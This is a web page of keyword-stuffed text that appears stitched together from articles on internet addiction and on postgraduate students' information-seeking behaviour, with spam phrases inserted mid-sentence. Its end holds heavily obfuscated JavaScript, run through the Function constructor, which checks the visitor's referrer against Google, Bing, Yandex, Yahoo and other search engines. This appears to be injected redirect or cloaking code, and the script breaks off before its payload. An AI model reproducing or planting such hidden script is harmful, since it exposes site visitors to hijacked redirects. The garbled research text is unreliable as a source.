Some researchers and mental health practitioners see excessive Internet use as a symptom of another disorder such as anxiety or depression rather than a separate entity [e. Internet addiction could be considered an Impulse control disorder not otherwise specified.
Yet there is a growing consensus that this constellation of symptoms is an addiction [e. The American Society of Addiction Medicine ASAM recently released a new definition of addiction as a chronic brain disorder, officially proposing for the first time that addiction is not limited to substance use [ 20 ].
All addictions, whether chemical or behavioral, share certain characteristics including salience, compulsive use loss of controlmood modification and the alleviation of distress, tolerance and withdrawal, and the continuation despite negative consequences. Since then variations in both name and criteria have been put forward to capture the problem, which is now most popularly how do you make your sim do homework as Internet Addiction Disorder.
Problematic Internet Use PIU [ 21 ], cause and effect of internet addiction research paper addiction, Internet dependence [ 22 ], compulsive Internet use, pathological Internet use [ 23 ], Creative writing department columbia many other labels can be found in the literature. Likewise a variety of often overlapping criteria have been proposed and studied, some of which have been validated.
However, empirical causes and effect of internet addiction research paper provide an inconsistent set of criteria to define Internet addiction [ 24 ]. For an overview see Byun et al. Beard [ 2 ] recommends that the following five diagnostic criteria are required for a diagnosis of Internet addiction: Additionally, at least one of the following must be present: There has been also been a cause and effect of internet addiction research paper of cause and effect of internet addiction research paper tools used in evaluation.
In their review Weinstein and Lejoyeux [ 1 ] report that surveys in the United States and Europe have indicated prevalence rates varying between 1. When activated, dopamine release is increased, along with opiates and other neurochemicals.
Internet use may also lead specifically to dopamine release in the nucleus accumbens [ 3536 ], one of the reward structures of the brain specifically involved in other addictions [ 20 ]. An example of the rewarding nature of digital technology use may be captured in the following statement by a 21 year-old male in treatment for IAD: No other activity relaxes me or stimulates me like technology.
However, when depression hits, I tend to use technology as a way of retreating and isolating. The theory is that digital technology users experience multiple layers of reward when they use various computer applications.
Whatever the application general surfing, pornography, chat rooms, message boards, social networking sites, video games, email, texting, cloud applications and games, etc. Examples of this would be pornography sexual stimulationvideo games e.
To increase pleasure, these individuals are more likely to seek greater than average engagement in behaviors that stimulate an increase in dopamine, effectively giving them more reward but placing them at higher Essay writing competition guidelines for addiction. There is debate about which came first, the addiction or the co-occurring disorder [ 1840 ]. The study by Dong et al.
But due to the limitations of the study further research is necessary. The following paragraphs illustrate the various treatment options for IAD that exist today. Unless studies examining the efficacy of the illustrated treatments are not available, findings on the efficacy of the presented treatments are also provided.
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This study aims to investigate the effect of the internet addiction on the information-seeking behavior of the postgraduate students. This applied study that uses the correlation method. The research population composed of postgraduate students of Isfahan University of Medical Sciences, of which were selected using the stratified random sampling as the sample.
Research data were analyzed using the descriptive statistics mean and standard deviation and inferential statistics independent-t tests, Pearson correlation coefficient, and variance analysis. Based Application letter for work experience certificate the findings, there was no sign of internet addiction among the There was no significant difference between the information-seeking behavior of the male and female respondents.
There was no sign of the internet cause and effect of internet addiction research paper in any dimension of the information-seeking behavior of the students.
This 90 day business plan pharmaceutical sales showed that there is no relationship between the information-seeking behavior of the students and the age and the rate of the internet use.
Promoting the network infrastructures and increasing the internet speed as well as facilitating the use of electronic resources should be prioritized by the officials.
INTRODUCTION
Nowadays, many intellectuals consider the information as a powerful source. Producing and disseminating the information in a wide variety of fields has Successful college essays one of the main reasons for calling the contemporary era as the age of the information and therefore, knowledge has become as one of the most significant elements of human progress and civilization 1.
They carry out a series of activities to find the resources or information channels in order to meet their own information needs, including the cause and effect of internet addiction research paper search, cause and effect of internet addiction research paper methods, search problems, and its effective factors that totally is called information—seeking behavior 2.
Information-seeking behavior is a process in which people try to change the knowledge position purposefully and nowadays, this kind of behavior should be considered by all human beings 3. Over the recent years, using the electronic networks has been increased and the internet has changed into one of the main channels of obtaining the information in the universities and higher education centers 5.
Internet helps a wide range of the researchers and the students to satisfy their information needs with no physical presence in the libraries or other information centers 6. The results of some studies demonstrate that students utilize the non-printed resources information banks or web resources more than printed resources e.
Quick and easy access to the information is one of the main reasons that users prefer the electronic information resources to the printed information resources. Most of the people spend a lot of time on the non-purposeful search in the internet in the process of searching the scientific information that not only deviates them from their main aim of searching and developing the knowledge boundaries in the universities but also causes the internet addiction 7. Students use internet more than other people do in order to meet their educational needs.
For this reason, they are more prone to the internet addiction. Based on the studies, the excessive use of the internet causes the dangers of the improper use of the internet, education problems, and the lack of participation in the curriculums for the students 9.
Internet addiction may have serious consequences such as changing the lifestyle in order to spend more time on the internet, ignoring the individual health and main activities, reducing the social relationships, ignoring the family and friends, and finally, financial, educational, and physical problems Related work Increased excessive use of the internet has been associated with some problems War and peace essay wikipedia the users.
Studies conducted on the students show that internet addiction has been accompanied by major problems such as the educational drop, reduced the curriculum study, anxiety, reduced interpersonal relationships, reduced physical activities, irregularity, and nutritional diseases 11 – Studies carried out on the pupils and students showed that with the increasing the internet use, prevalence of the internet addiction increases 1215 Few studies 91718 have reported the king of sweden wedding speech english rate of internet addiction in men compared the women.
Moreover, the causes and effect of internet addiction research paper show the relationship between the internet addiction and the field of the study 12 Accessing to the cause and effect of internet addiction research paper resources and scientific findings, knowledge sharing, scientific relationships between scholars, online learning, accessing to the virtual libraries and so on using the internet increase cheap paper writing service importance of the internet network more than expected.
Some Studies on information-seeking behavior indicated that the most of the causes and effect of internet addiction research paper use the internet for carrying out their research activities, finding the specialized information and obtaining the information that is not found in the printed resources 21 – Various remarkable features of the web and electronic resources such as high rate of production, easy access, low cost and so on compared with those of the printed resources are among the reasons that users now prefer the internet for satisfying their needs more than ever before The results showed that the average use of the electronic resources by the students is more than research paper are categorized into three groups: Findings showed that using the search engines has been the prevalent method for identifying the web resources 232530 Students encounter a wide range of the problems in the information-seeking process and using the information resources.
These problems may be the individual e. The results showed that network traffic, low speed of internet, improper quality and quantity of the hardware and software facilities and the lack of the access to the original documents have been the main problems of the students in using the internet 2223 Findings showed that the lack of time, the lack of access to the resources and incomplete information resources have been the major problem of the students in searching the information in the libraries 21 Analysis of the conducted studies showed that most of the studies have considered the internet addiction and information-seeking behavior independently and from goodnews.xplodedthemes.com aspects.
However, no study has considered the importance of the relationship between these two variables. Therefore, this study aims to investigate the cause and effect of internet addiction research paper of the internet addiction on the information-seeking behavior of the students. The research population composed of all postgraduate students of Isfahan University of Medical Sciences in educational year ofof which were selected using como enviar un curriculum vitae por correo electronico stratified random sampling as the sample.
This questionnaire with 20 items was used for measuring the rate and severity of the internet addiction based on the clinical experiences. It was developed based on the Likert scale, the score cause and effect of internet addiction research paper is The interpretation index of the results includes for lack of the internet addiction, at the risk of the internet addiction, and for internet addiction.
This questionnaire has the construct, convergent and discriminative validity and it is used for determining the rate of the internet addiction of the different clinical and normal populations Nastiezaie 35 and Ghasemzadeh 36 have reported its cause and effect of internet addiction research paper as 0.
The instrument for the information-seeking behavior variable was the researcher-developed questionnaire that was prepared by studying the literature and subject related researches. This questionnaire with 55 items was based on the Likert scale and designed in five parts including the internet as the information source, motivation for using the internet, the rate of using the different kinds of information resources, using the search tools and information-seeking problems. Face and content validity of the questionnaire was confirmed by the librarianship and medical information specialists and its reliability was confirmed using the Cronbach alpha coefficient of 0.
Data was collected by physical presence at faculties and was analyzed using the SPSS 20 in two levels of descriptive and inferential statistics.
jKYWylI
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,52,50,57,72,84,77,76,60,34,48,112,47,119,63,38,95,43,85,67,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(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